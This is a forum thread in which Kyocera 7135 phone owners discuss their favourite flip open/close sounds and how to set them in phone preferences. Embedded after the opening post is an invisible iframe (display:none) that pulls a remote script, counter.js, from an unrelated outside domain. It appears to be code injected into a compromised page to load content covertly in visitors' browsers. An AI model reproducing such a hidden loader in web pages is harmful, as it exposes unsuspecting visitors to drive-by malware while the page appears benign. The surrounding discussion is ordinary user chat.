    7135 open-flip sound

    Does yours still make a sound when you open it? If not, why not?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    I love the flip sounds........ but use different ones for different occasions.

    My favorite weekend/evening combo is Steve's light sabre open/close sounds... but they freak people out because they sound so real! (well, nobody has jumped under their desk in fear that Darth Vader was really in the building ... but you know what I mean ).

    Sometimes, even though I'm not at work, I still need a more subtle combo of flip sounds, and then my favorite combo is the "super powers" open (one of the included sounds), and "leaving the Matrix" close (also a Steve creation I believe).

    At work I generally stick with "rubber band" for both open and close. It's not a high pitched or annoying sound and doesn't seem to attract much attention.

    Loud/long flip sounds can be a bit of a problem when using the MP3 player, since they play over the music... and I'm usually too lazy to turn off the flip sounds all together, so I just deal with it.

    I use Plink - its low volume, and not attention grabbing or annoying.

    I use the Star Trek communicator sound. It never fails to get a chuckle from people around me.

    How do you get the sound to come up on the flip? (which I take to mean opening and closing the phone?) Is there a special setting to upload for that specifically?

    It's in phone prefs under flip settings. If you want to use flip sounds other than the included ones do a search on "flip sounds" (that's what I did) and you'll find everything you need there Also, assuming you installed the included Kyocera ringer - MP3 maker software, if you open up that app it's very straight forward how to use it for converting MP3's for use on the 7135 in a variety of ways.

    I use Steve's Light Saber sound and have gotten many compliments on. Thanks Steve.

    I usually only turn the flip sound on when I want to demo the sound though. For those of you who don't have a 7135 yet you should know that the system sound must be enabled in order for the flip sound to to work. I had this turned off on my 6035 to avoid the annoying clicking sound each time I clicked on something

    I use the flip sound but for a different reason. It's the only way I can tell, during day light hours, if the screen shut down when I closed the flip or if I need to reset the thing. If it doesn't "boing" I know I have to do a reset.

    When I go to file manager I see some of the sounds all you are refering to ie. rubberband etc. I am familiar with the downloadable ones but I don't seem to have the ones that supposedly come with the 7135 itself. Any help would be greatly appreciated.

    System sound

    Is there a way for the clicking sound to be shut off while the system sound is on? I would like the flips sounds, but not if it means I have to listen to those stupid clicks.

    Thanks!

    I love the star trek communicator sound, aptly renamed "Dolphin".

    "rubberband, etc." are the ones that came with the 7135.

    I am aware that those are the sounds that came with the 7135, however I am unable to obtain them. They do not come up as options to choose from

    Where exactly are you at (on the 7135!) when you are trying to choose them? And, what choices do you have?

    It's time for me to answer my own question.
    I turned off system sounds just I did for the 6035. Also, I usually have the phone on vibe anyway... I guess my reason has little to do with the actual flip sound. When I want to show it off, I'll turn on the sound.

    It just cracks me up when I open/close the phone to Steve's light sabre open/close sounds. I love if I need to be quite I can easily push the down vol button on the side of the phone. I am waiting for my phone to be returned to me and I miss the giggle.

    Those are my favorites too! But at work they were a bit much since I open and close my 7135 so often
